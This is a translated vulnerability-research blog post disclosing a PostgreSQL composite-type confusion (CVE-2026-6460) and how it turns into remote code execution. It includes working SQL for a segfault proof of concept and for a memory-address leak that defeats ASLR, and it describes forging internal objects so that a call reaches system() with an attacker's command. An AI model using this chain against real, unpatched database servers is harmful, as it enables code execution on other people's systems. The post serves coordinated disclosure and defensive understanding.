22 年前的 PostgreSQL 类型混淆漏洞被利用实现远程代码执行
22-Year-Old PostgreSQL Bug Turned into Remote Code Execution
安全研究者 Mehmet Ince 披露,他利用 PostgreSQL 复合类型在 PREPARE 后经 ALTER TYPE 修改字段类型、旧值不被重写这一特性,构造类型混淆并最终实现远程代码执行,对应 CVE-2026-6460。
作者以第一手研究复盘了 PostgreSQL 复合类型混淆漏洞的发现路径与利用链,可了解类型系统设计缺陷如何演变为 RCE。
如果在2026年4月有人告诉我,一个问题“Mehmet,这个项目我们能用托管 PostgreSQL 吗?”会让我陷入人生中最深的兔子洞,我一定会笑出声。
几个月后,我终于找到了那个兔子洞的底。那是 PostgreSQL 核心中一个存在了22年的零日漏洞。
在这篇博客中,你将读到我是如何发现 PostgreSQL 中一类新型类型混淆漏洞的故事。
这是博客系列“托管 PostgreSQL 行业中的系统性风险”的第3部分。错过前两部分的读者,可以从第1部分和第2部分开始,它们会给你完整的背景,了解这场疯狂。
TLDR:
我给 PostgreSQL 一个复合类型中的值,改变了其中一个字段的类型,然后让它把这个值读回来。那次类型混淆导致了我见过的最可靠的之一内存破坏利用。但我并不是从寻找 PostgreSQL 核心漏洞开始的。
我当时在利用 pg_clickhouse,让那个利用跑通后,我留下了一个关于 PostgreSQL 如何理解自身数据的问题。以 AI 智能体为老师,我一个一个问题地梳理内部机制。然后一次看似无关的对话给了我一个想法,把所有线索连接起来,最终我发现自己盯着一个已经存在了一段时间的原语。
这就是那些碎片如何拼合在一起的完整真实故事,我相信你会喜欢这个故事。
2026年8月初
在六月和七月,我一直在利用多个 PostgreSQL 扩展中的内存破坏漏洞。我实现代码执行的一个扩展是 pg_clickhouse。那个案例研究有自己的故事,我将来会分享。
这里重要的是那次利用迫使我学到的东西。pg_clickhouse 将 ClickHouse 值转换为原生 PostgreSQL 值。ClickHouse 数组不是 PostgreSQL 数组,对吧?所以该扩展必须将其元素重建为 PostgreSQL 期望格式的 Datum 值。正是那次转换中的一个错误最终让我获得了代码执行。
这是我第一次在 PostgreSQL 宇宙中遇到 Datum、OIDs 之类的东西。我只学到了足够完成利用的程度,但有一个问题一直留在我的脑海里:
PostgreSQL 本身如何决定一个值是什么?它又如何处理和表示它?
大约在七月下旬,我终于把头从扩展里拔出来,直接跟着那个问题进入了 PostgreSQL 核心。
免责声明:我向厂商报告了 pg_clickhouse 越界写 + 读链,他们在6月23日修复了。
PostgreSQL 类型 101
我从一个非常简单的查询开始学习。当我运行最简单的查询 SELECT 1337 时会发生什么?
虽然我避开了 Postgres 内部的所有黑魔法,但我保留了这门关于数据类型基础的速成课。
我从这个查询开始。
SET debug_print_parse = on;
SELECT 1337;数据库扫描器查看查询,识别出 SELECT 是关键字,1337 是整数标记。然后它为查询创建解析树。接下来,PostgreSQL 遍历树并将其转换为带类型的查询树。
{QUERY
:commandType 1
:targetList (
{TARGETENTRY
:expr
{CONST
:consttype 23
:consttypmod -1
:constlen 4
:constbyval true
:constisnull false
:location 7
:constvalue 4 [ 57 5 0 0 0 0 0 0 ]
}
}
)
}解析树看起来如上。但我只是想更好地理解诸如 consttype 23 是什么?为什么 constvalue 有 [ 57 5 0 0 0 0 0 0 ] 以及我的 1337 值在哪里?此时,我让 Opus 5 为我准备一门关于 PostgreSQL 类型的完整深度课程。 在那里花了几天时间,并与我命名为 pg_expert 的智能体交谈,教会了我这些:
consttype = 23 → int4
constlen = 4 → four-byte payload
constbyval = true → stored by value
constisnull = false → this is not NULLconstvalue 4 [ 57 5 0 0 0 0 0 0 ] 可以转换为十六进制,使值更容易识别:
57 decimal = 0x39
5 decimal = 0x05在我的小端系统上,字节是按最低有效位优先存储的:
39 05 00 00 → 0x00000539 → 1337所以 1337 并没有消失。 但为什么我们会有 8 bytes [ 57 5 0 0 0 0 0 0 ],而不是简单的 4 个字节?
那是因为 constvalue 并没有被声明为 int32。它被声明为 Datum,也就是 8 bytes 我们的值 1337::int4 存储在那个通用载体的低四个字节中。
同一个 8 字节的 Datum 怎么能表示 text、array 或自定义类型呢?
Datum 并不知道自己是什么
和我的 pg_expert 智能体聊天让我学到了更多。Datum 并不知道自己代表什么。
承载 1337 的那八个字节里并没有一个隐藏的标签写着“我是一个整数。”。PostgreSQL 之所以知道它的类型,仅仅是因为这个 consttype = 23。
那个数字是一个 OID(对象标识符),指向 pg_type 系统目录中的一行
SELECT
oid,
typname,
typlen,
typbyval,
typalign,
typinput::regproc,
typoutput::regproc
FROM pg_type
WHERE oid = 23;
oid | typname | typlen | typbyval | typalign | typinput | typoutput
-----+---------+--------+----------+----------+----------+-----------
23 | int4 | 4 | t | i | int4in | int4out这意味着 pg_type 行说明了该值的含义以及 PostgreSQL 将如何使用它。到目前为止,这非常精彩且易于理解。但 text 类型呢?
SELECT
oid,
typname,
typlen,
typbyval,
typinput::regproc,
typoutput::regproc
FROM pg_type
WHERE oid IN ('int4'::regtype, 'text'::regtype) // <== HERE FILTERIN THE INT4 and TEXT only
ORDER BY oid;
typname | typlen | typbyval | typinput | typoutput
---------+--------+----------+----------+-----------
int4 | 4 | true | int4in | int4out
text | -1 | false | textin | textout对于文本,typlen = -1 意味着其表示具有可变长度。而 typbyval = false 意味着 Datum 携带了一个指针。
Datum ──> pointer ──> variable-length text representation所以同一个 8-byte 值存储的是文本的内存地址。Datum 既可以按值本身传递值,也可以通过引用传递。太好了,我喜欢 Datum 提供的这种优雅抽象!
Unknown 也是一种类型!
到目前为止一切都说得通,但我也想更好地理解 typinput 和 typoutput 这两列。这些函数将查询提供的值转换为原生 Datum,或反之。所以我又运行了一次。
SELECT 1337, pg_typeof(1337), pg_column_size(1337);
?column? | pg_typeof | pg_column_size
----------+-----------+----------------
1337 | integer | 4但随后我加上了引号,想看看 PostgreSQL 是否有动态类型转换/识别之类的功能:
SELECT pg_typeof('1337');
pg_typeof
-----------
unknown此时我有点困惑。我起初以为 unknown 的意思是“PostgreSQL 不知道类型。”所以我回去继续和我的 pg_expert 智能体聊天,到目前为止它一直在教我一切。我了解到 unknown 是一个真实的 PostgreSQL 类型,带有 OID 705,用于最终类型尚未确定的字符串字面量!
再说一次,这完全说得通,因为 PostgreSQL 故意给未类型化的字符串字面量赋予这个临时类型,因为同一段文本最终可能变成许多不同的东西!
SELECT '1337'::int4;例如,查询提供了目标类型 int4。PostgreSQL 查找了 int4 的 typinput 函数并调用了 int4in(),而当需要打印时它使用 int4out()
批判性思考:等等!类型决定了代码
到目前为止,typinput 和 typoutput 在我看来只是普通的转换机制。pg_type 包含了许多针对许多不同类型的原生函数。
在进一步了解这些函数时,有一个细节让我印象深刻。输出函数并不会检查 Datum 并发现其类型。它只是信任 Datum 周围的所有值和标志。
int4out() 提取出一个整数,是因为 PostgreSQL 已经选择它作为 int4 的输出函数。不同的输出函数可以按照完全不同的规则解释同一个通用载体。
我仍然记得,就在那一刻,我实际上想到了我多年来一直在利用/修复的 Web 应用中的 TOCTOU 漏洞 类别。
“如果我能以某种方式在 PostgreSQL 构造一个值的时刻和使用该值的时刻之间改变类型呢?”
如果我能做到这一点,我们或许就能迫使 PostgreSQL 将一个为完全不同类型创建的 Datum 当作函数所期望的类型来处理。在 PostgreSQL 中制造类型混淆,实际上能让我有机会滥用 PostgreSQL 内部的所有其他函数。
于是我又回过头去深入了解,可以用什么来迫使 PostgreSQL 原生地为我的 int4 值调用不同类型的输出函数。结果发现,LANGUAGE internal 特性正好可以用于这个目的。
LANGUAGE internal: 我可以故意制造的类型混淆
LANGUAGE internal 允许超级用户创建一个 SQL 函数,指向已经编译进 PostgreSQL 的原生代码。我创建了下面这个函数。
CREATE FUNCTION pg_temp.confused_textout(integer)
RETURNS cstring
AS 'textout'
LANGUAGE internal
STRICT;然后我给它传入同样的 int4 值,结果我的本地后端崩溃了!
SELECT pg_temp.confused_textout(1337);
server closed the connection unexpectedly
This probably means the server terminated abnormally before or while processing the request.我很确定,读到这里的 PostgreSQL 专家不会对这个崩溃感到意外,但它让我大吃一惊!
这把我引向了一个完全不同的方向。我利用这个类型混淆特性构建了一个可用的漏洞利用,针对托管 PostgreSQL 服务商部署的安全扩展来利用 LANGUAGE internal。这项研究最终成为了第 2 部分故事的一部分。
有一段时间,我继续前行,把这个类型混淆的问题抛在了脑后。
大约两周后,一件完全无关的事情又把我拉了回来。
插曲:番茄与 SQL 注入
让我稍微跑个题。这个 Postgres 系列文章归根结底就是在讲我的故事,不是吗?
我不记得确切日期了,但在我们某次跑步或散步时,我的伴侣 Bilge(EDB 的资深机器学习工程师)和我讨论了 PostgreSQL AI 扩展中的二阶 SQL 注入,以及诱骗这些扩展的 AI 功能产生幻觉并生成恶意 SQL 查询的可能性。
那场对话引出了关于 prepared statements 的闲聊。
我大约在 2005 年第一次了解到 SQL 注入,天知道从那以后我利用过它多少次。
二十年后,大多数库和框架仍然严重依赖字符串转义来生成安全的 SQL 查询,尽管关系数据库有一个名为预处理语句的漂亮特性。
我在大学时研究过它们,主要是想看看即使目标应用使用了预处理语句,还有什么仍然可以被利用。比如触发过多的 SQL 冷解析之类的事情。
但更重要的是,多年来我用这个概念给成千上万的学员讲授 SQL 注入:
“知识是知道番茄是水果;智慧是不把它放进水果沙拉里。”
– Miles Kington
在我的版本里,SQL 查询是菜谱,值是食材。预处理语句让数据库先理解菜谱,然后单独接收食材。所以即使像 ' OR 1=1 -- 这样的值看起来可能很邪恶,它仍然是数据,永远没有机会改写查询。
我一直把这种分离视为一种安全特性。但这一次,在与 Bilge 的对话中我注意到了某件事。数据库可以先完成所有解析,然后等我执行它。在执行之前,我可以运行任何我想要的查询。
我可以在执行查询之前更改类型!
揭开有 22 年历史的 PostgreSQL 类型混淆原语
所以想法很简单:我可以准备一个查询,改动一些东西,然后再执行它。但改动什么呢?PostgreSQL 不会让我重新定义内置类型 int4、text 或 UUID 的含义。
此时我还没有考虑复合类型。说实话,我几乎不知道它们是什么。我问 Claude agent pg_expert 一个简单得多的问题:
我可以创建哪些 PostgreSQL 类型,在预编译查询中使用它们,然后在运行 execute 之前修改它?
这个问题把我引向了复合类型。在 PostgreSQL 中,复合类型表示一行的结构。它本质上是一种自定义的用户定义数据类型,充当多个字段的容器,每个字段都有自己的名称和数据类型。[1, 2]
CREATE TYPE pg_temp.poc AS (
key uuid
);它有自己的类型 OID,但它的属性定义了当前的行布局。我可以更改某个类型的属性,从 UUID 改为另一种类型,而无需替换复合类型本身。
崩溃
我创建了一个单字段复合类型,其属性最初是 UUID。然后我准备了一个查询,将该属性改为 bytea,并执行了预编译语句。
CREATE TYPE pg_temp.poc AS (key uuid);
PREPARE pc_crash AS
SELECT '(01020000-0000-0000-0000-000000000000)'
::pg_temp.poc;
ALTER TYPE pg_temp.poc
ALTER ATTRIBUTE key TYPE bytea CASCADE;
EXECUTE pc_crash;结果发生了段错误!
client backend was terminated by signal 11: Segmentation fault
DETAIL: Failed process was running: EXECUTE pc_crash;我知道我找到了正是我一直在寻找的那种类型混淆!
我知道这不再是我之前利用过的仅限超级用户的 LANGUAGE internal 行为。
我知道我可以在任何 PostgreSQL 实例上以最低权限的登录角色触发此崩溃。可能所有兼容 Postgres 的产品也是如此(稍后会详细说明)
最后但同样重要的是,我已经知道受控的 UUID 字节到达错误的原生消费者(在我的例子中是 bytea)具有严重的利用潜力。这两者在 PostgreSQL 漏洞利用中拥有我所见过的最可靠的利用原语。
在深入 Hacking PostgreSQL 内部机制之前,我们需要了解一些关于 PostgreSQL 的知识,以便更好地理解本文的其余部分!
快速课程:什么是 BYTEA?
bytea 是 PostgreSQL 用于存储任意二进制数据的数据类型。在内部,它使用一种称为 varlena 的变长表示。PostgreSQL 在字节之前放置一个小头部,以描述其大小和存储格式。
Basic concepts of bytea
+----------------------+------------------------+
| 4-byte header | binary payload |
+----------------------+------------------------+头部告诉 PostgreSQL 它正在查看哪种表示,以及完整值有多大。
我们不需要理解每一种 varlena 表示。在本文的其余部分,我们只需要知道两件事
Inline representation → the leading bytes can control the claimed length
External expanded representation → the leading bytes can introduce an internal object pointer例如,五个 ASCII 字符 hello 的正常内联示例。那个 24 可以解码为 0x24 >> 2,即 9。所以 4 字节头部 + 5 字节负载 = 9 字节!
+----------------------+------------------+
| 24 00 00 00 | 68 65 6c 6c 6f |
| 4-byte header | "hello" |
+----------------------+------------------+最重要的例子,外部表示,当头部以 01 开头时,PostgreSQL 认为该值根本没有内联存储。相反,它将这些字节视为对内存中某个扩展对象的引用。
+------------------+---------------------+----------------------------------+
| 01 | 02 | 88 77 66 55 44 33 22 11 |
| external marker | expanded-object tag | ExpandedObjectHeader * pointer |
+------------------+---------------------+----------------------------------+因此,头部之后的数据只是对象引用指针,而不是数据本身。
崩溃与根本原因分析
让我们回到之前的地方。
我提供的 UUID 恰好包含十六个字节,以 01 和 02 开头。当属性 a 仍然是 UUID 时,01 02 或其后十四个零字节没有任何特别之处。它们只是受控的 UUID 数据。
ALTER TYPE 将属性 key 的当前定义从 uuid 改为 bytea,但它没有转换或重写预编译查询已经存储的二进制值。在 EXECUTE 期间,PostgreSQL 仍然拥有完全相同的字节。
当我们 EXECUTE 查询时,PostgreSQL 需要返回我们类型 pg_temp.poc 的值,为此,它调用复合输出函数 record_out()。
因此 record_out() 查看 pg_temp.poc 的属性 key 并说“那是 bytea”,然后选择 byteaout()
但 byteaout() 获取的数据是我们旧的、我们可以控制的 UUID 字节。这就是类型混淆发生的地方!
所有这些意味着,我们可以通过完全控制头部和随后的 12 个字节,字面意义上地创建任何我们想要的 varlena 表示!
PostgreSQL 认为它需要访问 ExpandedObjectHeader,但其地址是 00000000,因为这就是我们写入 UUID 中的内容,因此本地后端崩溃。
在 byteaout() 能够打印该值之前,它首先需要将这个外部表示转换为它可以打印的形式。我了解到 PostgreSQL 将此过程称为 detoasting。
当我们运行 EXECUTE pc_crash 时,调用路径如下。相关路径看起来像这样
EXECUTE pc_crash
├─ record_out() a: bytea
├─ byteaout() fetch + detoast
├─ detoast_external_attr() 01 02 → expanded
├─ DatumGetEOHP() eohptr = NULL
├─ EOH_get_flat_size(NULL)
└─ NULL->eoh_methods SIGSEGV然后 PostgreSQL 将 NULL 指针传递给 EOH_get_flat_size()。该函数内部的重要代码行实际上是:
return eohptr->eoh_methods->get_flat_size(eohptr);eohptr 是我们影响的部分,我们在 POC 中选择 00000000,即 NULL。因此 PostgreSQL 在尝试读取其 eoh_methods 指针时崩溃,因为它认为自己收到了一个有效的外部扩展对象,并沿着正常代码路径处理它。
利用思路:将 NULL 替换为我们的伪造对象,使 PostgreSQL 跟随到我们自己选择的方法!
通过伪造 ExpandedObjects 劫持控制流,其中包含原生函数指针
ExpandedObjectMethods 包含两个原生函数指针
typedef struct ExpandedObjectMethods
{
EOM_get_flat_size_method get_flat_size;
EOM_flatten_into_method flatten_into;
} ExpandedObjectMethods;正常代码在需要时将扩展对象转换为其扁平表示时,会像这样使用这些方法。
EOH_get_flat_size(ExpandedObjectHeader *eohptr)
{
return eohptr->eoh_methods->get_flat_size(eohptr);
}
EOH_flatten_into(ExpandedObjectHeader *eohptr,
void *result, Size allocated_size)
{
eohptr->eoh_methods->flatten_into(eohptr, result, allocated_size);
}这通常不是攻击者可控的回调接口。这些是 PostgreSQL 创建的可信内部表示。输出函数可以假定指针、头部和方法表不是恶意的。
这些是间接的原生函数调用。PostgreSQL 从对象的方法表中获取函数地址,然后调用它们。这正是我们可以用来改变控制流路径的东西。
在进一步之前,我需要一个涉及对象的简单模型。我根据两个伪造对象所代表的内容对它们进行了命名
H = fake ExpandedObjectHeader
M = fake ExpandedObjectMethods table所以我们的计划是 UUID 指向 H,H 指向 M,而 M 包含我们想要调用的原生函数地址。
调用 system($payload)
重要的细节是 PostgreSQL 使用了 H 两次。让我们记住实际的 C 代码
eohptr->eoh_methods->get_flat_size(eohptr)
│ │ │ │
│ │ │ └── argument = H
│ │ └───────────── function = system@plt
│ └──────────────────────────── methods table = M
└─────────────────────────────────────── object = H首先,它将 H 视为 ExpandedObjectHeader,并在偏移 +0x08 处读取 eoh_methods 指针。
该指针指向 M,我们在那里放置了 system() 的地址。然后 PostgreSQL 调用所选方法,并将原始对象指针 H 作为其第一个参数传递。
换句话说,H 帮助 PostgreSQL 找到 system(),然后同一个 H 被作为参数传递给 system()。
幸运的是,H 的前八个字节位于 eoh_methods 指针之前。我可以将 NULL 结尾的命令 id>x 放在这些字节中,同时在偏移 +0x08 处保留 M 的地址。
泄漏内存地址并用同一原语击败 ASLR
正如我在 第 1 部分 中大量讨论过的在托管 PostgreSQL 提供商上利用扩展漏洞,由于加固措施,我们无法读取 /proc/self/mem。我们的利用计划非常清晰,但挑战在于我们需要泄漏这些对象的地址。
我开始与我的 pg_expert 聊天,以寻找更多关于 PostgreSQL 操作的细节,这些操作可能在 SQL 期望普通整数时返回指针值数据。我提示代理的那一刻,它就去
“哦,其实我们在七月的 pg_clickhouse 漏洞利用期间讨论过这个。你还记得 ClickHouse Array 不是 PostgreSQL Array 吗?”
– my beloved teacher pg_expert agent
这是命运的转折。我最终回到了最初想法开始的地方。
PostgreSQL Arrays 在其二进制表示中存储元素类型。unnest() 在决定如何提取每个元素时信任该内部类型。
正常情况下,一切都是一致的:
SELECT x
FROM unnest(ARRAY['hello']::text[]) AS item(x);array 说它的元素是 text,因此 unnest() 返回一个指针值的 text Datum,SQL 将其作为 text 处理。
但如果数组内部说是 text,而外围的 SQL 契约说是 bigint 呢?
因为 text 是按引用传递的,unnest() 返回一个包含该 text 值内存地址的 Datum!但外围的 SQL 表达式期望一个按值传递的 bigint,因此 PostgreSQL 将这些相同的指针位打印为整数。
换句话说,我们可以利用完全相同的类型混淆漏洞,将数组的 text 元素类型改为 bigint,这样 unnest() 就会返回内存地址而不是值!也就是泄露内存地址!
用 UUID 创建 PostgreSQL Array 数据结构
最小的 PostgreSQL Array 需要 48 字节。单个 UUID 提供 16 个受控字节。因此我们可以简单地将 3 个 UUID 相邻组合,构建出恰好 48 字节的完全受控数据结构!
上面的动画展示了三个 UUID 如何变成一个 48 字节的数组载体。我在三个属性都还是 UUID 时准备好这些字节。然后,我只对第一个 UUID 利用相同的类型混淆,从 a 改为 bigint[]!
因此 unnest() 将元素提取为 text 并返回其指针,而 SQL 期望一个 bigint,并将该指针暴露为内存地址。最后的 +4 跳过 text 头,落在我控制的载荷上。
CREATE TYPE pg_temp.address_carrier AS (
a uuid,
b uuid,
c uuid
);
CREATE FUNCTION pg_temp.leak_address(
r pg_temp.address_carrier
)
RETURNS bigint
LANGUAGE plpgsql
AS $$
DECLARE
pointer bigint;
BEGIN
SELECT x INTO pointer
FROM unnest(r.a) AS item(x)
LIMIT 1;
RETURN pointer + 4;
END
$$;
PREPARE address_leak AS
SELECT to_hex(pg_temp.leak_address(
'(c0000000-0100-0000-0000-000019000000,01000000-0100-0000-5000-000011223344,55667788-99aa-bbcc-ddee-ff0000000000)'::pg_temp.address_carrier
));
ALTER TYPE pg_temp.address_carrier
ALTER ATTRIBUTE a TYPE bigint[] CASCADE;
EXECUTE address_leak;
to_hex
--------------
55f2a589ae0c
(1 row)直接将 text 混淆为 bigint 只会将旧的 text 字节重新解释为整数。数组之所以重要,是因为它迫使 PostgreSQL 先产生一个真正的指针,然后将这些相同的指针位暴露为 bigint。
POC 视频
CVE-2026-6460 伞形修复及另外 21 个变体分析
一旦到达那一步,我开始思考在执行前改变属性类型的各种场景。所有其他可能让旧值保持存活的方式。
我在 RowExpr、JSON 转换缓存以及其他不同地方发现了同样的底层错误。
我总共报告了 21 个案例。
2026 年 11 月 9 日,PostgreSQL 安全提交作为一次包含 52 个新 CVE 的大规模发布的一部分落地。
这 52 个 CVE 中的 6 个 与本文直接相关。
- CVE-2026-6460 是类型混淆的主要伞形修复。它引入了复合属性版本控制,
- CVE-2026-120142 匿名 RECORD 描述符。
- CVE-2026-120148 后端本地匿名 RECORD typmod
- CVE-2026-116329 统计信息导入可能在过时类型下发布值
- CVE-2026-116306 防止 ExecEvalFieldStore[De]Form 使用不匹配的
- CVE-2026-120139 元组大小计算中的整数溢出
与托管 PostgreSQL 提供商协调此事
我5个月前之所以陷入那个兔子洞,是因为我需要在做决定之前更好地理解托管数据库行业是如何运作的,因为归根结底,我们都可以把基础设施外包出去,但我们无法把风险外包出去。
当漏洞属于 PostgreSQL 核心时,整个行业如何协调来保护自己的客户?
于是,我把我本地可用的漏洞利用程序移植到了我所知的几乎每一个托管 PostgreSQL 平台上,并私下与它们的安全团队分享了可复现的 PoC。
我还没有见到任何一家不受此漏洞影响的厂商!包括那些提供 Postgres 兼容产品的厂商。
Databricks 安全团队的工程师立即验证了所有漏洞利用程序。感谢 Aaron 和他的团队。
Google 将 AlloyDB 的报告升级为最高优先级 P0。我从第一天起就真心感谢 Google Cloud VRP 团队的所有支持!
SupaBase 团队在8月中旬收到了完整细节。感谢 Etienne 从我第一次联系他以来的无尽支持。
Ubicloud 成员在我的第 1 部分 文章发表后联系了我,随后他们把我介绍给了 ClickHouse 团队。双方也在8月底的某个时候收到了通知。
AWS Aurora/RDS 和 Microsoft Azure PostgreSQL 团队在8月中旬收到了报告和可用的 PoC。
但最令我敬佩的是,一些厂商派出了他们最资深的工程成员开始实施自己的缓解措施。他们不想在等待上游发布周期期间让客户暴露在风险之中。
所以是的,我的整个八月就是这样度过的。
结语:感谢 PostgreSQL 社区和核心安全团队
我人生中有20年时间都在全球各地的安全社区中度过。但我真的必须说,今年在 PGCONF.eu 期间我所看到的支持、积极的态度和尊重让我相当惊讶。完全没想到欧洲的 PostgreSQL 社区有这样一种家人般的氛围。
上个月在瓦伦西亚的 PGCONF.eu 上,我做了题为“Nobody Gets to Be Superuser (Until I Broke In)”的演讲之后,我收到了来自所有人的惊人支持,特别是社区中那些受人尊敬的成员,每当有人发邮件到 securit@ 地址时,他们都在毫不费力地修复这些漏洞。
我今天所处的位置很大程度上归功于开源。我一生都在通过黑客攻击、理解事物如何运作并让它们更安全来学习。能够以自己的方式为 PostgreSQL 及其生态系统做出贡献对我来说意义重大。看到这些贡献受到如此热烈的欢迎,意义更加重大。
我今年的演讲应我的要求没有被录制,但我收到了来自不同国家当地 PostgreSQL 聚会的许多邀请。
如果你想听完整的故事,我将在11月30日星期一于布拉格 PostgreSQL 聚会上呈现90分钟版本。
来加入我吧。我保证这值得!
https://cloomba.com/e/prague-postgresql-meetup-8-2026-11-30
(如果你读到了这里,我很想听听你的想法!欢迎留言或向我提问任何问题。)
附录:追溯原语与重复狂欢的起源
可变行类型原语可追溯到提交 077db40fa1f3,于2004年5月5日随 ALTER TABLE ... ALTER COLUMN ... TYPE 引入。
我使用的利用技术依赖于提交 1dc5ebc9077a,该提交于 2015 年 5 月 14 日引入,添加了扩展对象指针及其原生方法回调。这比我利用 20 多个变体时发现的许多其他原语都要晚。
我并不声称 CVE-2026-6460 完全是“我的漏洞”。PostgreSQL 将其视为一个总括性问题,涵盖了更广泛的复合类型问题家族。其提交记录感谢了许多研究人员,他们的报告可能涉及重叠的发现、不同的变体,或完全不同的路径进入同一系统性弱点。
这就是 AI 时代漏洞研究的现实。本文只讲述了我在 2026 年 8 月没有任何网络启用模型的情况下如何达到这一点的故事。
PostgreSQL 对报告者的记录如下:
Reported-by: Heikki Linnakangas <heikki.linnakangas@iki.fi>
Reported-by: Andres Freund <andres@anarazel.de>
Reported-by: Andrew Gierth <andrew@tao11.riddles.org.uk>
Reported-by: Alexander Lakhin <exclusion@gmail.com>
Reported-by: Francesco Verardi <frevadiscor89@gmail.com>
Reported-by: Hcamael <baiyjrh@gmail.com>
Reported-by: Tomer Fichman <tomer@irregular.com>
Reported-by: OpenAI Security Research Team
Reported-by: Peter Geoghegan <pg@bowt.ie>
Reported-by: Mehmet Ince @mdisec <mehmet@mehmetince.net>
Reported-by: Bryan Green <dbryan.green@gmail.com>
Reported-by: Sumedh Pathak <sumedhpathak@microsoft.com>
Reported-by: Nicholas Carlini <npc@anthropic.com>
Reported-by: Sergey Shinderuk <s.shinderuk@postgrespro.ru>
Reported-by: Yuxiao Guo <dllggyx@outlook.com>
Reported-by: Nikhil Sontakke <nikhil@planetscale.com>
Reported-by: Stephan Lipp <Stephan@Adalogics.com>
Reported-by: Daniel Bakker <daniel@jackds.nl>
来源:Hacker News · mehmetince.net